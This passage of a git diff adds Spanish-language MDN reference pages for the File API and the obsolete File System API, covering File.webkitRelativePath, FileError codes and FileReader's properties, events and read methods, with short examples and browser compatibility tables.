+<pre class="brush: js"><em>var rulaRelativa = File</em>.webkitRelativePath</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Un {{domxref("USVString")}} conteniendo la ruta del archivo relativa al directorio padre seleccionado por el usuario.</p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<p>En este ejemplo,un seleccionador de directorios es mostrado al usuario para permitirle seleccionar uno o mas directorios. Cuando el evento {{event("change")}} ocurre, una lista de todos los archivos contenidos dentro de la gerarquia de directorio seleccionado es generado y mostrado.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="file" id="filepicker" name="fileList" webkitdirectory multiple /&gt;
+&lt;ul id="listing"&gt;&lt;/ul&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">document.getElementById("filepicker").addEventListener("change", function(event) {
+  let output = document.getElementById("listing");
+  let files = event.target.files;
+
+  for (let i=0; i&lt;files.length; i++) {
+    let item = document.createElement("li");
+    item.innerHTML = files[i].webkitRelativePath;
+    output.appendChild(item);
+  };
+}, false);
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('File System API', '#dom-file-webkitrelativepath', 'webkitRelativePath') }}</td>
+   <td>{{ Spec2('File System API') }}</td>
+   <td>Especificacion inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Esta API no tiene especificacion W3C o WHATWG.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>13 {{ property_prefix("webkit") }}</td>
+   <td>{{ CompatGeckoDesktop(49) }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{ CompatNo }}</td>
+   <td>0.16 {{ property_prefix("webkit") }}</td>
+   <td>{{ CompatGeckoMobile(49) }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/API/File_and_Directory_Entries_API">Entidades "Archivo" y "Directorio" en la API</a></li>
+ <li>{{domxref("HTMLInputElement.webkitEntries")}}</li>
+ <li>{{domxref("HTMLInputElement.webkitdirectory")}}</li>
+</ul>
diff --git a/files/es/web/api/fileerror/index.html b/files/es/web/api/fileerror/index.html
new file mode 100644
index 0000000000..c748ea51af
--- /dev/null
+++ b/files/es/web/api/fileerror/index.html
@@ -0,0 +1,193 @@
+---
+title: FileError
+slug: Web/API/FileError
+translation_of: Web/API/FileError
+---
+<p>{{APIRef("File System API")}}{{obsolete_header()}}</p>
+
+<p>Se ha presentado un error al utilizar la interfaz {{ domxref("FileReader") }}.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Esta interfaz es obsoleta de acuerdo a la última especificación. Use la nueva DOM4 {{ domxref("DOMError") }} en su lugar.</p>
+</div>
+
+<p>La <a href="/en/DOM/File_API/File_System_API" title="en/DOM/File_API/File_System_APIB">File System API</a>, a <code>FileError Representa un error que puede surgir al acceder al sistema de archivos utilizando la API asíncrona. Se extiende la interfaz FileERror descrita en la escritura del archivo y añadiendo así códigos de error nuevos.</code></p>
+
+<p>FileError Objects son pasados una vez se haya lanzado un error. Los objetos tiene un código que muestra el tipo de error que haya ocurrido.</p>
+
+<h2 id="practices" name="practices">Mejores prácticas</h2>
+
+<p>La mayoría de la gente no lee la página de errores y excepciones a menos que estén perpletos. Así que los siguientes tips, son algúnos consejos que podrían ayudar a evitar algunos problemas.</p>
+
+<h3 id="Errores_de_retrollamada.">Errores de retrollamada.</h3>
+
+<p>Aunque las devoluciones de llamada de error son opcionales, usted debe incluirlos en los argumentos de los métodos. Una aplicación web puede fallar por diversas razones, por lo que no requiere pasar el resto de su día adivinando lo que está pasando y/o realizando el sistema.</p>
+
+<h3 id="No_haga_funcionar_su_aplicación_desde_ruta_(file)">No haga funcionar su aplicación desde ruta://  (file://)</h3>
+
+<p>Por razones de seguridad, los navegadores no le permiten ejecutar su aplicación desde file://. De hecho, muchas de las API de almacenamiento de gran alcance(como sistema de archivos, BlobBuilder y FileReader) lanzan errores si ejecuta la aplicación a nivel local de file://. Cuando estás haciendo una prueba de su aplicación y no deseas configurar un servidor web, puede pasarse por alto la restricción de seguridad en Chrome. Simplemente comienza a Chrome con la restricción de seguridad en Chrome con la bandera --allow-file- access-from-files Utilice la bandera sólo para propósitos de prueba.</p>
+
+<p><strong><em>Tradución a español en proceso...</em></strong></p>
+
+<p>Hasta el momento se ha traducido hasta este punto, las tablas que verás a continuación contienen pequeñas descripciones báscicas de la implementación y el análisis del tema que se está observando.</p>
+
+<h2 id="Atributo">Atributo</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribute</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a name="attr_code"><code>code</code></a></td>
+   <td><code>unsigned short</code></td>
+   <td>The most appropriate error code for the condition. See {{anch("Error codes")}} for possible values.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Error_codes">Error codes</h2>
+
+<p>{{ Note("Do not rely on the numeric values of the constants, which might change as the specifications continue to change. Use the constant names instead.") }}</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constant</th>
+   <th scope="col">Value</th>
+   <th scope="col">Description</th>
+  </tr>
+  <tr>
+   <td><code><a name="NON_TRANSIENT_ERR">ENCODING_ERR</a></code></td>
+   <td>5</td>
+   <td>The URL is malformed. Make sure that the URL is complete and valid.</td>
+  </tr>
+  <tr>
+   <td><code><a name="NON_TRANSIENT_ERR">INVALID_MODIFICATION_ERR</a></code></td>
+   <td>9</td>
+   <td>The modification requested is not allowed. For example, the app might be trying to move a directory into its own child or moving a file into its parent directory without changing its name.</td>
+  </tr>
+  <tr>
+   <td><code><a name="CONSTRAINT_ERR">INVALID_STATE_ERR</a></code></td>
+   <td>7</td>
+   <td>The operation cannot be performed on the current state of the interface object. For example, the state that was cached in an interface object has changed since it was last read from disk.</td>
+  </tr>
+  <tr>
+   <td><code><a name="VER_ERR">NO_MODIFICATION_ALLOWED_ERR</a></code></td>
+   <td>6</td>
+   <td>The state of the underlying file system prevents any writing to a file or a directory.</td>
+  </tr>
+  <tr>
+   <td><code><a name="NOT_FOUND_ERR">NOT_FOUND_ERR</a></code></td>
+   <td>1</td>
+   <td>A required file or directory could not be found at the time an operation was processed. For example, a file did not exist but was being opened.</td>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a name="NON_TRANSIENT_ERR">NOT_READABLE_ERR</a></code></td>
+   <td>4</td>
+   <td>The file or directory cannot be read, typically due to permission problems that occur after a reference to a file has been acquired (for example, the file or directory is concurrently locked by another application).</td>
+  </tr>
+  <tr>
+   <td><code><a name="TIMEOUT_ERR">PATH_EXISTS_ERR</a></code></td>
+   <td>12</td>
+   <td>The file or directory with the same path already exists.</td>
+  </tr>
+  <tr>
+   <td><code><a name="QUOTA_ERR">QUOTA_EXCEEDED_ERR</a></code></td>
+   <td>10</td>
+   <td>Either there's not enough remaining storage space or the storage quota was reached and the user declined to give more space to the database. To ask for more storage, see <a class="external" href="http://code.google.com/chrome/whitepapers/storage.html">Managing HTML5 Offline Storage</a>.</td>
+  </tr>
+  <tr>
+   <td><code><a name="SECURITY_ERR">SECURITY_ERR</a></code></td>
+   <td>2</td>
+   <td>
+    <p>Access to the files were denied for one of the following reasons:</p>
+
+    <ul>
+     <li>The files might be unsafe for access within a Web application.</li>
+     <li>Too many calls are being made on file resources.</li>
+     <li>Other unspecified security error code or situations.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code><a name="READ_ONLY_ERR">TYPE_MISMATCH_ERR</a></code></td>
+   <td>11</td>
+   <td>The app looked up an entry, but the entry found is of the wrong type. For example, the app is asking for a directory, when the entry is really a file.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>13{{ property_prefix("webkit") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>0.16{{ property_prefix("webkit") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Gecko_notes">Gecko notes</h3>
+
+<ul>
+ <li>The <code>FileError</code> interface has been removed starting with Gecko 13 {{ geckoRelease("13.0") }}. Instead the more general {{ domxref("DOMError") }} interface is used and returned by {{ domxref("FileReader", "FileReader.error") }}.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/DOM/File_APIs/Filesystem/Basic_Concepts_About_the_Filesystem_API" title="en/DOM/File_APIs/Filesystem/Basic_Concepts_About_the_Filesystem_API">Basic Concepts About the File System API</a></li>
+ <li>{{ domxref("FileReader") }}</li>
+ <li>{{ domxref("File") }}</li>
+ <li>{{ domxref("Blob") }}</li>
+ <li>{{ spec("http://www.w3.org/TR/file-system-api/#errors-and-exceptions", "Specification: FileAPI Errors and exceptions", "WD") }}</li>
+</ul>
diff --git a/files/es/web/api/filereader/index.html b/files/es/web/api/filereader/index.html
new file mode 100644
index 0000000000..d5d0f5e349
--- /dev/null
+++ b/files/es/web/api/filereader/index.html
@@ -0,0 +1,182 @@
+---
+title: FileReader
+slug: Web/API/FileReader
+translation_of: Web/API/FileReader
+---
+<p>{{ APIRef("File API") }}</p>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p> </p>
+
+<p>El objeto FileReader permite que las aplicaciones web lean ficheros (o información en buffer) almacenados en el cliente de forma asíncrona, usando los objetos {{domxref("File")}} o {{domxref("Blob")}} dependiendo de los datos que se pretenden leer.</p>
+
+<p> </p>
+
+<p>El objeto File puede ser obtenido desde un objeto {{domxref("FileList")}} devuelto como resultado de la selección de archivos por parte del usuario en un elemento {{HTMLElement("input")}}, desde el objeto <a href="https://developer.mozilla.org/en-US/docs/Web/API/DataTransfer"><code>DataTransfer </code></a><code>producido por una operación de arrastre (<em>drag and drop</em>) o </code>desde la API mozGetAsFile () en un {{domxref("HTMLCanvasElement")}}.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<pre class="syntaxbox">FileReader FileReader();</pre>
+
+<p>Mira el artículo <em><a href="https://developer.mozilla.org/en-US/docs/Using_files_from_web_applications">Using files from web applications</a></em> para más detalles y ejemplos.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("FileReader.error")}} {{readonlyinline}}</dt>
+ <dd>Un {{domxref("DOMError")}} que representa el error que ocurrió al momento de leer el archivo.</dd>
+ <dt>{{domxref("FileReader.readyState")}} {{readonlyinline}}</dt>
+ <dd>Devuelve un entero que indica el estado de FileReader. Puede ser uno de los siguientes:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>EMPTY</code></td>
+    <td><code>0</code></td>
+    <td>No ha sido leido ningún dato aún.</td>
+   </tr>
+   <tr>
+    <td><code>LOADING</code></td>
+    <td><code>1</code></td>
+    <td>La información está siendo leída.</td>
+   </tr>
+   <tr>
+    <td><code>DONE</code></td>
+    <td><code>2</code></td>
+    <td>Se ha completado la solicitud de lectura.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("FileReader.result")}} {{readonlyinline}}</dt>
+ <dd>El contenido del fichero. Esta propieda es válida solo cuando la propiedad FileReader.readyState es 2, es decir, cuando la lectura ha finalizado. El formato de la información depende de los métodos usados al iniciar la operación de lectura.</dd>
+</dl>
+
+<h3 id="Controladores_de_eventos">Controladores de eventos</h3>
+
+<dl>
+ <dt>{{domxref("FileReader.onabort")}}</dt>
+ <dd>Un controlador para el evento {{event("abort")}}. Este evento se activa cada vez que se interrumpe la operación de lectura.</dd>
+ <dt>{{domxref("FileReader.onerror")}}</dt>
+ <dd>Un controlador para el evento {{event("error")}}. Este evento se activa cada vez que la operación de lectura encuentra un error.</dd>
+ <dt>{{domxref("FileReader.onload")}}</dt>
+ <dd>Un controlador para el evento {{event("load")}}. Este evento se activa cada vez que la operación de lectura se ha completado satisfactoriamente.</dd>
+ <dt>{{domxref("FileReader.onloadstart")}}</dt>
+ <dd>Un controlador para el evento {{event("loadstart")}}. Este evento se activa cada vez que comienza la lectura.</dd>
+ <dt>{{domxref("FileReader.onloadend")}}</dt>
+ <dd>Un controlador para el evento {{event("loadend")}}. Este evento se activa cada vez que  la operación de lecura se ha completado (ya sea con éxito o fallo).</dd>
+ <dt>{{domxref("FileReader.onprogress")}}</dt>
+ <dd>Un controlador para el evento {{event("progress")}}. Este evento se activa mientras se está leyendo el contenido del objeto {{domxref("Blob")}}.</dd>
+</dl>
+
+<div class="note">
+<p>Nota: Como <code>FileReader</code> hereda de {{domxref("EventTarget")}}, todos esos eventos también pueden ser escuchados usando el método {{domxref("EventTarget.addEventListener()","addEventListener")}}.</p>
+</div>
+
+<p> </p>
+
+<h2 id="Methods" name="Methods">Métodos</h2>
+
+<p> </p>
+
+<dl>
+ <dt>{{domxref("FileReader.abort()")}}</dt>
+ <dd>Interrumpe la operación de lectura. A su regreso <code>readyState</code> será <code>DONE</code>.</dd>
+ <dt>{{domxref("FileReader.readAsArrayBuffer()")}} {{ gecko_minversion_inline("7.0") }}</dt>
+ <dd>Comienza la lectura del contenido del objeto {{ domxref("Blob") }} especificado, una vez terminada, el atributo <code>result </code>contiene un  {{domxref("ArrayBuffer")}} representando los datos del fichero.</dd>
+ <dt>{{domxref("FileReader.readAsBinaryString()")}}</dt>
+ <dd>Comienza la lectura del contenido del objeto {{ domxref("Blob") }}, una vez terminada, el atributo <code>result</code> contiene los datos binarios en bruto del archivo como una cadena.</dd>
+ <dt>{{domxref("FileReader.readAsDataURL()")}}</dt>
+ <dd>Comienza la lectura del contenido del objeto {{ domxref("Blob") }}, una vez terminada, el atributo <code>result</code> contiene un <code>data:</code> URL que representa los datos del fichero.</dd>
+ <dt>{{domxref("FileReader.readAsText()")}}</dt>
+ <dd>Comienza la lectura del contenido del objeto {{ domxref("Blob") }}, una vez terminada, el atributo <code>result</code> contiene el contenido del fichero como una cadena de texto.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API','#FileReader-interface','FileReader')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Soporte en los navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer*</th>
+   <th>Opera*</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatGeckoDesktop("1.9.2") }}</td>
+   <td>7</td>
+   <td>10</td>
+   <td>12.02</td>
+   <td>6.0.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>32</td>
+   <td>3</td>
+   <td>10</td>
+   <td>11.5</td>
+   <td>6.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notas_de_implementación">Notas de implementación</h3>
+
+<ul>
+ <li>IE9 tiene una <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info" title="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</li>
+ <li>Opera tiene un <a href="http://www.opera.com/docs/specs/presto28/file/" title="http://my.opera.com/desktopteam/blog/2011/04/05/stability-gmail-socks">soporte parcial</a> in 11.1.</li>
+</ul>
+
+<h4 id="Notas_específicas_para_Gecko">Notas específicas para Gecko</h4>
+
+<ul>
+ <li>Antes de Gecko 2.0 beta 7 (Firefox 4.0 beta 7), todos los parámetros {{ domxref("Blob") }} de a continuación eran parámetros {{ domxref("File") }}; esto ya se ha actualizado para que coincida con la especificación correcta.</li>
+ <li>Antes de Gecko 13.0 {{ geckoRelease("13.0") }} la propiedad<code> FileReader.error</code> devolvía un objeto {{ domxref("FileError") }}. Esta interface ha sido eliminada y <code>FileReader.error</code> ahora devielve el objeto {{ domxref("DOMError") }} tal y como se define en el último borrador de FileAPI.</li>
+</ul>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/Using_files_from_web_applications" title="en/Using files from web applications">Usando archivos desde aplicaciónes web</a></li>
+ <li>{{ domxref("File") }}</li>
+ <li>{{ domxref("Blob") }}</li>
+</ul>
diff --git a/files/es/web/api/filereader/onload/index.html b/files/es/web/api/filereader/onload/index.html
new file mode 100644
index 0000000000..d3172638fd
--- /dev/null
+++ b/files/es/web/api/filereader/onload/index.html
@@ -0,0 +1,29 @@
+---
+title: FileReader.onload
+slug: Web/API/FileReader/onload
+tags:
+  - Archivo
+  - Controlador de Eventos
+  - Lector de Archivos
+  - Propiedad
+  - Referencia
+translation_of: Web/API/FileReader/onload
+---
+<p>{{APIRef}}</p>
+
+<p>La propiedad <strong><code>FileReader.onload </code></strong><code>contiene un controlador de evento ejecutado cuando </code>{{event('load')}}  es ejecutado, cuando el  contenido es leído con <a href="/en-US/docs/Web/API/FileReader/readAsArrayBuffer">readAsArrayBuffer</a>, <a href="/en-US/docs/Web/API/FileReader/readAsBinaryString">readAsBinaryString</a>, <a href="/en-US/docs/Web/API/FileReader/readAsDataURL">readAsDataURL</a> o <a href="/en-US/docs/Web/API/FileReader/readAsText">readAsText</a> está habilitado.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:js; line-numbers  language-js"><code class="language-js">// Respuest desde un &lt;input type="file" onchange="onChange(event)"&gt;
+function onChange(event) {
+  var file = event.target.files[0];
+  var reader = new FileReader();
+  reader.onload = function(event) {
+    // El texto del archivo se mostrará por consola aquí
+    console.log(event.target.result)
+  };
+
+  reader.readAsText(file);
+}
+</code></pre>
diff --git a/files/es/web/api/filereader/readasarraybuffer/index.html b/files/es/web/api/filereader/readasarraybuffer/index.html
new file mode 100644
index 0000000000..c8ebd96ae7
--- /dev/null
+++ b/files/es/web/api/filereader/readasarraybuffer/index.html
@@ -0,0 +1,37 @@
+---
+title: FileReader.readAsArrayBuffer()
+slug: Web/API/FileReader/readAsArrayBuffer
+tags:
+  - File
+  - FileReader
+  - Leer archivo
+translation_of: Web/API/FileReader/readAsArrayBuffer
+---
+<p>{{APIRef("File API")}}</p>
+
+<p>El método <strong><code>readAsArrayBuffer</code></strong> es usado para iniciar la lectura del contenido especificado en {{domxref("Blob")}} o {{domxref("File")}}. Cuando finaliza la operación de lectura, el método {{domxref("FileReader.readyState","readyState")}} devuelve <code>DONE</code>, y el evento {{event("loadend")}} es lanzado. Al mismo tiempo, el atributo {{domxref("FileReader.result","result")}} contiene {{domxref("ArrayBuffer")}} que representa los datos del archivo.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre><em>instanceOfFileReader</em>.readAsArrayBuffer(blob);</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>El {{domxref("Blob")}} o {{domxref("File")}} (archivo) que se va a leer.</dd>
+</dl>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Especificaciones</h2>
+
+<p>{{page("/es-ES/docs/Web/API/FileReader","Specifications")}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad del navegador</h2>
+
+<p>{{page("/es-ES/docs/Web/API/FileReader","Browser compatibility")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}} </li>
+</ul>
diff --git a/files/es/web/api/filereader/readasdataurl/index.html b/files/es/web/api/filereader/readasdataurl/index.html
new file mode 100644
index 0000000000..a4f7155a70
--- /dev/null
+++ b/files/es/web/api/filereader/readasdataurl/index.html
@@ -0,0 +1,68 @@
+---
+title: FileReader.readAsDataURL()
+slug: Web/API/FileReader/readAsDataURL
+tags:
+  - Archivos
+  - Referencia
+  - metodo
+translation_of: Web/API/FileReader/readAsDataURL
+---
+<p>{{APIRef("File API")}}</p>
+
+<p>El método <code>readAsDataURL</code> es usado para leer el contenido del especificado {{domxref("Blob")}} o {{domxref("File")}}.  Cuando la operación de lectura es terminada, el {{domxref("FileReader.readyState","readyState")}} se convierte en <code>DONE</code>, y el {{event("loadend")}} es lanzado. En ese momento, el atributo {{domxref("FileReader.result","result")}} contiene  la<code> información como una </code>URL representando la información del archivo como una cadena de caracteres codificados en base64.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>instanceOfFileReader</em>.readAsDataURL(blob);</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>El {{domxref("Blob")}} o {{domxref("File")}} desde el cual leer.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="file" onchange="previewFile()"&gt;&lt;br&gt;
+&lt;img src="" height="200" alt="Image preview..."&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function previewFile() {
+  var preview = document.querySelector('img');
+  var file    = document.querySelector('input[type=file]').files[0];
+  var reader  = new FileReader();
+
+  reader.onloadend = function () {
+    preview.src = reader.result;
+  }
+
+  if (file) {
+    reader.readAsDataURL(file);
+  } else {
+    preview.src = "";
+  }
+}</pre>
+
+<h3 id="Resultado_en_vivo">Resultado en vivo</h3>
+
+<p>{{EmbedLiveSample("Ejemplo", "100%", 240)}}</p>
+
+<div class="note"><strong>Nota:</strong> el constructor <a href="/en-US/docs/Web/API/FileReader"><code>FileReader()</code></a>  no es soportado por Internet Explorer version anterior a la 10. Para una completa compatibilidad de codigo puedes ver nuestra <a class="internal" href="https://mdn.mozillademos.org/files/3699/crossbrowser_image_preview.html" title="crossbrowser_image_preview.html">Posibler solución de compatibilidad para vista previa de imagenes entre navegadores</a>. Ve también <a href="https://mdn.mozillademos.org/files/3698/image_upload_preview.html">este ejemplo más poderoso</a>.</div>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Especificaciones</h2>
+
+<p>{{page("/en-US/docs/Web/API/FileReader","Specifications")}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de navegadores</h2>
+
+<p>{{page("/en-US/docs/Web/API/FileReader","Browser compatibility")}}</p>
+
+<h2 id="Tambien_ver">Tambien ver</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/es/web/api/filereader/readastext/index.html b/files/es/web/api/filereader/readastext/index.html
new file mode 100644
index 0000000000..0eaa0e636b
--- /dev/null
+++ b/files/es/web/api/filereader/readastext/index.html
@@ -0,0 +1,109 @@
+---
+title: FileReader.readAsText()
+slug: Web/API/FileReader/readAsText
+tags:
+  - API
+  - File API
+  - api de lectura de archivos
+  - leer archivos
+translation_of: Web/API/FileReader/readAsText
+---
+<div>{{APIRef("File API")}}</div>
+
+<p>El método <code>readAsText</code> se usa para leer el contenido de un tipo {{domxref("Blob")}} o {{domxref("File")}}. Cuando la operación de lectura se completa, el atributo {{domxref("FileReader.readyState","readyState")}} cambia a <code>DONE</code>, el evento {{event("loadend")}} se dispara y el atributo {{domxref("FileReader.result","result")}} contiene el contenido del archivo como una cadena de texto.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>instanceOfFileReader</em>.readAsText(blob[, encoding]);</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>Una variable de tipo {{domxref("Blob")}} o {{domxref("File")}} de la cual se leerán los datos.</dd>
+ <dt>encoding {{optional_inline}}</dt>
+ <dd>Una cadena de texto especificando la codificación de caracteres que se usará en los datos leidos. Por defecto, se utiliza UTF-8 si el parametro no se especifica</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("File API", "#FileReader-interface", "FileReader")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_los_navegadores">Compatibilidad en los navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[1]</sup></td>
+   <td>7</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10<sup>[2]</sup></td>
+   <td>12.02<sup>[3]</sup></td>
+   <td>6.0.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>32</td>
+   <td>3</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+   <td>11.5</td>
+   <td>6.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Anterior a Gecko 2.0 beta 7 (Firefox 4.0 beta 7), todos los parámetros de tipo {{domxref("Blob")}} eran de tipo {{domxref("File")}} ; esto ha sido actualizado para emparejarse a la especificacion de manera correcta. Anterior a Gecko 13.0 {{geckoRelease("13.0")}} la propiedad <code>FileReader.error</code> devolvía un objeto de tipo {{domxref("FileError")}}. Esta interfaz ha sido eliminada y ahora la propiedad <code>FileReader.error</code> devuelve el objeto {{domxref("DOMError")}} como está definido en el borrador de FileAPI.</p>
+
+<p>[2] IE9 tiene una <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</p>
+
+<p>[3] Opera tiene <a href="http://www.opera.com/docs/specs/presto28/file/">soporte parcial</a> in 11.1.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/es/web/api/filereader/result/index.html b/files/es/web/api/filereader/result/index.html
new file mode 100644
index 0000000000..83104c8e28
--- /dev/null
+++ b/files/es/web/api/filereader/result/index.html
@@ -0,0 +1,107 @@
+---
+title: FileReader.result
+slug: Web/API/FileReader/result
+tags:
+  - API
+  - Archivos
+  - Ficheros
